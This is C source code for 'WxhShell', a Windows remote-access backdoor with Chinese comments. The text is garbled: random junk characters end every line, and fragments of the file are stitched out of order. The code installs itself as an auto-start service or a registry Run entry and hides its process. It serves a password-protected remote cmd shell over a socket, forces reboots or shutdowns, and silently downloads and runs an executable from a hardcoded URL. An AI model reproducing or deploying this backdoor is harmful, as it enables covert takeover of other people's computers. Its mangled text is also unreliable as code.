    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JBnK K  
    if(Boot(SHUTDOWN)) lb:/EUd5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vn~UB#]'3  
    else { |_ G )qp;  
    closesocket(wsh); X(7qZ P~  
    ExitThread(0); $fgf Y8  
    } `|Or{ih  
    break; FCkf#  
    } A?G^\I~v  
  // 获取shell $TI5vhQ  
  case 's': { nbG/c80  
    CmdShell(wsh); 1xc~`~  
    closesocket(wsh); jV8q)=}*)  
    ExitThread(0); %_Yx<wR%  
    break; smm]6  
  } G"T',~  
  // 退出 N 75:5  
  case 'x': { M?/jkc.8H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0 u?{ \  
    CloseIt(wsh); F_bF  
    break; ?2Kt'1s#  
    } Z/ Tm)Xd  
  // 离开 DI;DECQl$  
  case 'q': { c"n ?'e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); mYc.x  
    closesocket(wsh); #Oha(mRY  
    WSACleanup(); )z8!f}:De=  
    exit(1); %0Y=WYUH>  
    break; KLX/O1B  
        } Skz|*n|eY  
  } 76vy5R(.  
  } ~y$ !48o  
!`mZ0c+  
  // 提示信息 R1Ye<R!Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?EX"k+G  
} MC,>pR{  
  } u`(- -  
.Gcy> Av  
  return; +`uY]Q ,O  
} ^;c16  
%okzOKKX  
// shell模块句柄 X{kpSA~  
int CmdShell(SOCKET sock) KFZm`,+69  
{ 6{qIU}!  
STARTUPINFO si; 0q rqg]  
ZeroMemory(&si,sizeof(si)); Y4IGDY*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5 |/9}^T  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ip~$X 2  
PROCESS_INFORMATION ProcessInfo; *UW=Mdt  
char cmdline[]="cmd"; S60IPya  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p N\Vr8tJ  
  return 0; }oJAB1'k  
} T}3v(6ew4  
>h+349  
// 自身启动模式 +\"-P72vjk  
int StartFromService(void) gDIBnH  
{ J1XL<7  
typedef struct VzJ5.mRQ  
{ U4G}DCU  
  DWORD ExitStatus; Tg3!Rq55  
  DWORD PebBaseAddress; }qjCTEs}  
  DWORD AffinityMask; v_<2H' *Q  
  DWORD BasePriority; ,^8MB.  
  ULONG UniqueProcessId; NU (AEfF  
  ULONG InheritedFromUniqueProcessId; BGr.yEy  
}   PROCESS_BASIC_INFORMATION; "g+z !4b#  
@u._"/K  
PROCNTQSIP NtQueryInformationProcess; *1@:'rJ  
{ BEo &  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iBudmT8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7DlOW1|  
E VQ0l@K  
  HANDLE             hProcess; tvd0R$5}  
  PROCESS_BASIC_INFORMATION pbi; vEQ<A<[Z  
g+PPW88P;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); TEsnNi 1  
  if(NULL == hInst ) return 0; D7"p}PD>~  
[i]r-|_K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a,7 &"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @/UfD ye  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [\R>Xcu>  
vVT?h  
  if (!NtQueryInformationProcess) return 0; AnZclqtb  
B}d.#G+_$x  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &L^CCi  
  if(!hProcess) return 0; h8jD }9^  
o/o:2p.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fa.0I~  
F>gmj'-^  
  CloseHandle(hProcess); V^Rkt%JY  
tZ2e!<C  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D@X+{  
if(hProcess==NULL) return 0; F~U!1)  
]TstSF=  
HMODULE hMod; irTv4ZE'+l  
char procName[255]; 0uCT+-  
unsigned long cbNeeded; vw<K}z  
YwH./)r=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <Q<+4Y{R  
3z;_KmM  
  CloseHandle(hProcess); 9j*0D("  
N~ANjn/wL  
if(strstr(procName,"services")) return 1; // 以服务启动 +\#Fd  
BKU'`5`  
  return 0; // 注册表启动 ~YCuO0t  
} >6Lm9&}  
Fl>]&x*~  
// 主模块 e~v(eK_  
int StartWxhshell(LPSTR lpCmdLine) >uJ/TQU  
{ si(;y](  
  SOCKET wsl; A\te*G0:S  
BOOL val=TRUE; zGc(Ef5`M6  
  int port=0; ^Jp*B;  
  struct sockaddr_in door; [FQ\I-GNC  
59Sw+iZj  
  if(wscfg.ws_autoins) Install(); Y|0ow_oH  
i[semo\E  
port=atoi(lpCmdLine); cy~oPj]j  
;mAhY  
if(port<=0) port=wscfg.ws_port; 3}&ZOO   
``?6=mO  
  WSADATA data; PI5j"u UO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _>bRv+RVR  
E@ h y7X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Uz8hANN0_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L*?!Z^k  
  door.sin_family = AF_INET; N b3$4(F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w\|Ei(  
  door.sin_port = htons(port); A~-#@Z  
-.vDF?@G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @Z\2*1y6  
closesocket(wsl); a}.Y!O&  
return 1; n+2J Dq|?p  
} I^Qx/uTKw  
I6OSC&A`  
  if(listen(wsl,2) == INVALID_SOCKET) { CdhSp$>  
closesocket(wsl); |#5 e|z5(  
return 1; E*v]:kok  
} {^RG% &S  
  Wxhshell(wsl); E;-qP)yU  
  WSACleanup(); =v"xmx&4  
6GOcI#C9C  
return 0; ^GXEJU 7U  
Di??Q_$ak  
} QXk"?yT`E  
,# "(Z  
// 以NT服务方式启动 IbdM9qo7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a[O6YgO  
{ dl/X."iv!  
DWORD   status = 0; UxPGv;F  
  DWORD   specificError = 0xfffffff; kHU"AD}.  
]O@"\_}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2bA#D%PHD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r<FQX3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _5\AS+[x  
  serviceStatus.dwWin32ExitCode     = 0; (UW6F4:$  
  serviceStatus.dwServiceSpecificExitCode = 0; ^]rxhpS  
  serviceStatus.dwCheckPoint       = 0; :,C%01bH|l  
  serviceStatus.dwWaitHint       = 0; +{&+L0DfH~  
91;HiILgT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4_< nQ9K  
  if (hServiceStatusHandle==0) return; RSH/l;ii  
.;%q/hP  
status = GetLastError(); @W [{2d  
  if (status!=NO_ERROR) T 'i~_R6  
{ .wri5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9UmBm#"  
    serviceStatus.dwCheckPoint       = 0; ,|x\MHd?t_  
    serviceStatus.dwWaitHint       = 0; Kfd_uXL>  
    serviceStatus.dwWin32ExitCode     = status; ,Qo}J@e(  
    serviceStatus.dwServiceSpecificExitCode = specificError; {*__B} ,N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); S2}Z&X(  
    return; p)z-W(  
  } %LcH>sV  
KZ4zF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; G:hU{S7  
  serviceStatus.dwCheckPoint       = 0; x,-S1[#X;  
  serviceStatus.dwWaitHint       = 0; GRQ_+K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o#dcD?^  
} NE[y|/  
Z*h ;e;  
// 处理NT服务事件,比如:启动、停止 >@:667i,`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Uir*%*4:  
{ Lv3XYZgW~  
switch(fdwControl) <4sj@C  
{ DOT=U _  
case SERVICE_CONTROL_STOP: qhN[Dj(d  
  serviceStatus.dwWin32ExitCode = 0; U%n,XOJ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }Qb';-+;d  
  serviceStatus.dwCheckPoint   = 0; p}f-c  
  serviceStatus.dwWaitHint     = 0; # hZQ>zcF  
  { qlEFJ5;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E{I) ]h  
  } y,^";7U  
  return; 1h{>[ 'L  
case SERVICE_CONTROL_PAUSE: \"J?@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (`F|nG=X  
  break; jF4csO=E  
case SERVICE_CONTROL_CONTINUE: V 1*Ad  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?'Oj=k"c7  
  break; QjqBO+  
case SERVICE_CONTROL_INTERROGATE: hXPocP  
  break; #_{0Ndp2  
}; tw-fAMwU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yT&x`3f"i  
} n{L:MT9TD  
lD-V9   
// 标准应用程序主函数 OZa88&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ] ZDTn  
{ #>" }q3RO  
2Gm-\o&Td"  
// 获取操作系统版本 fqN75['n  
OsIsNt=GetOsVer(); "I@v&(Am;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); CJm.K  
prwC>LE  
  // 从命令行安装 keaj3#O  
  if(strpbrk(lpCmdLine,"iI")) Install(); ia_Z\q  
TbMdQbj}  
  // 下载执行文件 !5? m  
if(wscfg.ws_downexe) { =MCNCV/<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B(8mH  
  WinExec(wscfg.ws_filenam,SW_HIDE); </|)"OD9  
} YsZ{1W  
z'_&|-m  
if(!OsIsNt) { .#sz|0  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,%[LwmET  
HideProc(); J"5jy$30'$  
StartWxhshell(lpCmdLine); =w?M_[&K)  
} ^l--zzO 8l  
else zuk"  
  if(StartFromService()) cxY$LY!zX  
  // 以服务方式启动 pXve02b1B  
  StartServiceCtrlDispatcher(DispatchTable); (1rJFl!  
else TF%3uH  
  // 普通方式启动 {x7=;-  
  StartWxhshell(lpCmdLine); qw5&Y$((  
W=UqX{-j)  
return 0; :4%<Rp  
} phr2X*Z/)Y  
ujiZM  
L+8=P<]  
UlnyTz~  
=========================================== i3D<`\;r  
R!@|6=]iG  
;]{{)dst  
Wx}M1&d/J  
RzpC1nd  
U@#?T  
" u1tq2"D8  
]/LWrQD  
#include <stdio.h> P87ld._  
#include <string.h> {,i=>%X*  
#include <windows.h> `b#/[3  
#include <winsock2.h> `'*F 1F  
#include <winsvc.h> /%62X{=>;  
#include <urlmon.h> a#^_"GX  
*e%Dg{_  
#pragma comment (lib, "Ws2_32.lib") M8\G>0Hc6  
#pragma comment (lib, "urlmon.lib") 'G<}U343=8  
>~h>#{&  
#define MAX_USER   100 // 最大客户端连接数 L^3~gM"!  
#define BUF_SOCK   200 // sock buffer 3b+7^0frY#  
#define KEY_BUFF   255 // 输入 buffer PP!l  
8oa)qaG1  
#define REBOOT     0   // 重启 ZyHIMo|  
#define SHUTDOWN   1   // 关机 /.7$`d  
,c@r` x  
#define DEF_PORT   5000 // 监听端口 s`;0 t YG  
Lwp-2`%  
#define REG_LEN     16   // 注册表键长度 Hr /W6C  
#define SVC_LEN     80   // NT服务名长度 1a5?)D  
{An8/"bv}  
// 从dll定义API lr`?yn1D(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r4 9UJE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'uPxEu4 >4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Sc%aJ1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /z/hUa  
*Hx j_  
// wxhshell配置信息 \nC5 ,Rz  
struct WSCFG { 4\&H?:c.  
  int ws_port;         // 监听端口 ? UxG/]",  
  char ws_passstr[REG_LEN]; // 口令 BO8%:/37[4  
  int ws_autoins;       // 安装标记, 1=yes 0=no cC b>zI  
  char ws_regname[REG_LEN]; // 注册表键名 \k|_&hG  
  char ws_svcname[REG_LEN]; // 服务名 uG2Xkj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ARmu{cL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 BXT 80a\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n"XdHW0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #x, ]D  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P=f<#l"v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F"-S~I7'L  
NdM}xh  
}; PXOrOK  
7YMxr3F  
// default Wxhshell configuration imo'(j7  
struct WSCFG wscfg={DEF_PORT, "B3iX@C  
    "xuhuanlingzhe", )o05Vda  
    1, /Lq;w'|I  
    "Wxhshell", :X3rd|;kc  
    "Wxhshell", :jZ*,d%1={  
            "WxhShell Service", F(T=WR].o  
    "Wrsky Windows CmdShell Service", 29R_n)ne  
    "Please Input Your Password: ", + #|'|}j  
  1, ;6DR .2}?>  
  "http://www.wrsky.com/wxhshell.exe", p6<E=5RRd1  
  "Wxhshell.exe" $ 1ak I  
    }; zb@L)%  
RH<@c^ S  
// 消息定义模块 j)6@q@P/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /uy&2l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @#bBs9@gv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F@>w&A ~K  
char *msg_ws_ext="\n\rExit."; =_#ye}E  
char *msg_ws_end="\n\rQuit."; &@mvw=d  
char *msg_ws_boot="\n\rReboot..."; ZrmnQ  
char *msg_ws_poff="\n\rShutdown..."; {%]NpFg#b  
char *msg_ws_down="\n\rSave to "; {. s]\C  
$-C6pZN(X  
char *msg_ws_err="\n\rErr!"; i;E9Za W  
char *msg_ws_ok="\n\rOK!"; W)6U6  
OU0xZ=G  
char ExeFile[MAX_PATH]; ,\|n=T,  
int nUser = 0; ]3gYuz|  
HANDLE handles[MAX_USER]; [,\'V0  
int OsIsNt; E&RoaY0  
[VfL v.8w  
SERVICE_STATUS       serviceStatus; *T.={>HE8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; RM?_15m  
rnzsfr-|(2  
// 函数声明 ,gAr|x7_  
int Install(void); jK ?  
int Uninstall(void); [+ %p!T  
int DownloadFile(char *sURL, SOCKET wsh); <[ g$N4  
int Boot(int flag); :vn0|7W4  
void HideProc(void); UQC'(>.}  
int GetOsVer(void); w3>Y7vxiz`  
int Wxhshell(SOCKET wsl); S&4w`hdD>~  
void TalkWithClient(void *cs); "k>{b:R|  
int CmdShell(SOCKET sock); {GGO')p  
int StartFromService(void); sqq/b9 uL/  
int StartWxhshell(LPSTR lpCmdLine); c]cO[T_gGa  
J@u!S~&r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S>/I?(J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +1JZB* W  
=$:4v`W0(  
// 数据结构和表定义 Y\\3g_YBF  
SERVICE_TABLE_ENTRY DispatchTable[] = b&U5VA0=1  
{ dK=D=5r,  
{wscfg.ws_svcname, NTServiceMain}, 0C9QAJa  
{NULL, NULL} i9#`F.7F  
}; dpc=yXg>"c  
Gaw,1Ow!`2  
// 自我安装 2uI`$A:  
int Install(void) l(0&6ENyj  
{ ,b2O^tJF#  
  char svExeFile[MAX_PATH]; P:zEx]Y%  
  HKEY key; ?kT~)k  
  strcpy(svExeFile,ExeFile); IdQwLt  
NO0[`jy(  
// 如果是win9x系统,修改注册表设为自启动 ey9fbS ^I  
if(!OsIsNt) { !0d9<SVC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { he#Tr'j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OTy 4"%  
  RegCloseKey(key); { V =:O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O*+w_fox  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?(`nBlWQ5  
  RegCloseKey(key); _If@#WnoyA  
  return 0; ]R2Z-2  
    } n WO~v{h3J  
  } cwDD(j  
} eBLHT  
else { <O`q3u'l  
'%JMnU  
// 如果是NT以上系统,安装为系统服务 RmCn&-i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5.+$v4  
if (schSCManager!=0) +Fkx")  
{ hQW#a]]V:  
  SC_HANDLE schService = CreateService $[^ KCNB  
  ( =t>`< T|(  
  schSCManager, ZRVF{D??"%  
  wscfg.ws_svcname, -*]9Ma<wa  
  wscfg.ws_svcdisp, [{.\UkV@  
  SERVICE_ALL_ACCESS, SqT"/e]b'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @Tj  6!v  
  SERVICE_AUTO_START, XQ|j5]  
  SERVICE_ERROR_NORMAL, QdG?"Bdt2  
  svExeFile, X\^3,k."  
  NULL, c,u$tnE)  
  NULL, 5]2!B b6>  
  NULL, n(F<  
  NULL, |'l* $  
  NULL ht[TMdV  
  ); ,_X,V!  
  if (schService!=0) \gPNHL*  
  { OM"T)4z  
  CloseServiceHandle(schService); (*^E7 [w  
  CloseServiceHandle(schSCManager); wxr}*Z:ZMa  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ph|2lLZ  
  strcat(svExeFile,wscfg.ws_svcname); ph$&f0A6Xc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (x*2BEn|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1>O0Iu  
  RegCloseKey(key); rj`.hXO  
  return 0; uJAB)ti2I  
    } v:;C|uE|  
  } 9#=IrlV4  
  CloseServiceHandle(schSCManager); oq m{<g?2  
} ":#A>L? l  
} \Jj'60L^  
bKTwG@{/k  
return 1; )8A=yrTIT  
} A<G ;  
V1+o3g{}  
// 自我卸载 EXM/>PG  
int Uninstall(void) 0aq-drl5\  
{ Z#E#P<&d  
  HKEY key; 5;KT-(q~  
'5+, lRu  
if(!OsIsNt) { I{P$B-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -B++V  
  RegDeleteValue(key,wscfg.ws_regname); Z;> aW;Wt  
  RegCloseKey(key); BDm H^`V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u/{_0-+P  
  RegDeleteValue(key,wscfg.ws_regname); UVuuIW0k  
  RegCloseKey(key); }v|[h[cZ  
  return 0; Z~R/ p;@  
  } I>(z)"1  
} $F'~^2  
} .dq.F#2B;  
else { fJN9+l  
 kc/H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); LSOwa  
if (schSCManager!=0) ri.|EmH2:D  
{ } jy7,+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Lm2cW$s  
  if (schService!=0) }t{^*(  
  { zqEZ+|c=  
  if(DeleteService(schService)!=0) { 9<#R;eIsv  
  CloseServiceHandle(schService); P_}_D{G  
  CloseServiceHandle(schSCManager); X=RmCc$:  
  return 0; L?5t <`#lw  
  } Kof-;T  
  CloseServiceHandle(schService); pF{Ri  
  } PzG:M7  
  CloseServiceHandle(schSCManager); ZX RN?b  
} w@D@,q'x  
} bJu,R-f  
RB 0j!H:  
return 1; Wa<NId  
} p~y 4q4  
%x)U8  
// 从指定url下载文件 m<;" 1<k  
int DownloadFile(char *sURL, SOCKET wsh) CKK5+  
{ JC-yiORVr  
  HRESULT hr; h!3Z%M  
char seps[]= "/"; V'#u_`x"D)  
char *token; K*D]\/;^  
char *file; NWX%0PGZ  
char myURL[MAX_PATH]; Pg}G4L?H;J  
char myFILE[MAX_PATH]; 0md{e`'q:  
jWjK-q@Y  
strcpy(myURL,sURL); W..>Ny;'3  
  token=strtok(myURL,seps); w6Ny>(T/  
  while(token!=NULL) Q9 ",  
  { DxG'/5jQ[  
    file=token; U/l ra&P  
  token=strtok(NULL,seps); ))zaL2UP.  
  } "lya|;  
/9gMcn9EB  
GetCurrentDirectory(MAX_PATH,myFILE); 5q*~h4=r7  
strcat(myFILE, "\\"); 1Vvx@1  
strcat(myFILE, file); e/%Y ruzS  
  send(wsh,myFILE,strlen(myFILE),0); a,\u|T:g  
send(wsh,"...",3,0); :jCaDhK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); TUCp mj  
  if(hr==S_OK) O\{_)L  
return 0; Y)5}bmL  
else 7hE=+V8  
return 1; 8z v6Mx  
09i[2n;O  
} {[#  
eeZ9 w~<  
// 系统电源模块 NsK>UJ'  
int Boot(int flag) Ee| y[y,  
{ ?`iBp+iBv  
  HANDLE hToken; =i<(hgD  
  TOKEN_PRIVILEGES tkp; DSa92:M}  
cV,URUD  
  if(OsIsNt) { Ue%5 :Sdr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]C^*C|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (.) s =  
    tkp.PrivilegeCount = 1; $80/ub:R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bBL"F!.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ; #  
if(flag==REBOOT) { P40eK0 e6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \`&fr+x  
  return 0; ru Lcu]  
} jeNEC&J  
else { s4*,ocyBP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K>~l6  
  return 0; MR: {Ps&,  
} l"Q8`  
  }  }P#gXG  
  else { igCtq!.a  
if(flag==REBOOT) { %kT:"j(xW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~I74'  
  return 0; :}-[%LSV  
} nz+KA\iW  
else { 75ob1h"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1:8: yFV  
  return 0; =XB)sC%  
} e)8iPu ..  
} bv0 %{u&  
I Cs1=  
return 1; vhW '2<(  
} ?*0kQo'  
-fv.ByyA  
// win9x进程隐藏模块 J %t1T]y~  
void HideProc(void) sa($3`d  
{ hJM0A3(Cm  
N4 pA3~P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a;sZNUSn  
  if ( hKernel != NULL ) ?u|g2!{_  
  { H'.d'OE:I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -mF9Skj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mBF?+/l  
    FreeLibrary(hKernel); &3efJ?8  
  } U;/ )V  
r`@Dgo}  
return; IYFA>*Es  
} FdD'Hp+  
@2<J_Ja  
// 获取操作系统版本 "Y+`U  
int GetOsVer(void) ([|M,P6e)U  
{ qJsEKuOs  
  OSVERSIONINFO winfo; ,??|R` S  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p%_TbH3j`  
  GetVersionEx(&winfo); AKVmUS;70  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SF7Kb`>Y  
  return 1; 622).N4  
  else pWqahrWh  
  return 0; SzDi= lY  
} *SZ<ori  
J.*=7zmw  
// 客户端句柄模块 w~`P\i@  
int Wxhshell(SOCKET wsl) 3ba"[C|  
{ l`k3!EZDS  
  SOCKET wsh; D {mu2'q  
  struct sockaddr_in client; +q;^8d>  
  DWORD myID; rBL)ct  
_cB~?c  
  while(nUser<MAX_USER) /[p4. FL  
{ ?w+T_EH  
  int nSize=sizeof(client); Hs9uDGWp  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); RB!g,u  
  if(wsh==INVALID_SOCKET) return 1; Gu-Sv!4p  
*,(`%b[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); NNT9\JRv_  
if(handles[nUser]==0) C^a~)r.h  
  closesocket(wsh); MB)xL-jO  
else 2WoB;=  
  nUser++; '"&?u8u)  
  } A8?>V%b[Y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); RK,~mXA  
Z7Kc`9.0|  
  return 0; 5R4 dN=L*1  
} 9M6&+1XE  
8447hb?W$  
// 关闭 socket @RC_Ie=#)  
void CloseIt(SOCKET wsh) A U](pXK;  
{ LakP'P6`E  
closesocket(wsh); lxeolDl  
nUser--; t?s1@}G^  
ExitThread(0); A[o Ri}=  
} n1QO/1} :  
>\e11OU0Gy  
// 客户端请求句柄 >y?$aJ8ZV  
void TalkWithClient(void *cs) <K43f#%  
{ Bn.8wMB  
/1Eg6hf9B  
  SOCKET wsh=(SOCKET)cs; 8WvT0q>]  
  char pwd[SVC_LEN]; w/&#UsEIr  
  char cmd[KEY_BUFF]; p(v.sP4w  
char chr[1]; qnOAIP:0  
int i,j; UwLa9Dn^  
\ZC7vM"h  
  while (nUser < MAX_USER) { /q=<OEC  
^71sIf;+  
if(wscfg.ws_passstr) { 0P|WoC X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X/Ae-1!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :G!Kaa,r  
  //ZeroMemory(pwd,KEY_BUFF); lHx$F ?  
      i=0; ]'"$qm:  
  while(i<SVC_LEN) { }&=C*5JN  
fE(rDQI  
  // 设置超时 ,QK>e;:Be  
  fd_set FdRead; q|~9%Pujg  
  struct timeval TimeOut; EprgLZ1B  
  FD_ZERO(&FdRead); $+tkBM  
  FD_SET(wsh,&FdRead); rIXAn4,dTv  
  TimeOut.tv_sec=8; qwN-VCj  
  TimeOut.tv_usec=0; oOuWgr]0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u~K4fP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7&X^y+bMe6  
9N9;EY-U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =KX:&GU  
  pwd=chr[0]; NK#f Gz*,(  
  if(chr[0]==0xd || chr[0]==0xa) { k?_Miqr  
  pwd=0; Ij" `pdp  
  break; ~($h9* \  
  } 6`4=!ZfI  
  i++; j}y"  
    } smSUo /  
wqw$6"~  
  // 如果是非法用户,关闭 socket 5@i/4%S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (mv8_~F0  
} Z yIn>]{  
.uhP (  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); / JlUqC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V97Eb>@  
f@Db._ E  
while(1) { 8NpQ"0X  
5{{u #W%=  
  ZeroMemory(cmd,KEY_BUFF); %KqXtc`O  
`*WR[c  
      // 自动支持客户端 telnet标准   GR/ p%Y(  
  j=0; 90Q}9T\  
  while(j<KEY_BUFF) { hEDj"`Px  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7Ij'!@no  
  cmd[j]=chr[0]; pZXva9bE  
  if(chr[0]==0xa || chr[0]==0xd) { qPWYY  
  cmd[j]=0; #\fAp RL  
  break; iMF:~H-Yq#  
  } |Kb-oM&^#  
  j++; ~/QzL.S;p  
    } H Jwj,SL  
|ONkRxr@!  
  // 下载文件 &ceZu=*  
  if(strstr(cmd,"http://")) { Qd$d*mwg:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); PX+$Us  
  if(DownloadFile(cmd,wsh)) z1s9[5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x#U?~6.6  
  else WG9x_X&XJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zDC-PHF HQ  
  } p^NYJV  
  else { Wo\NX05-?  
(C1]R41'  
    switch(cmd[0]) { D[ny%9 :  
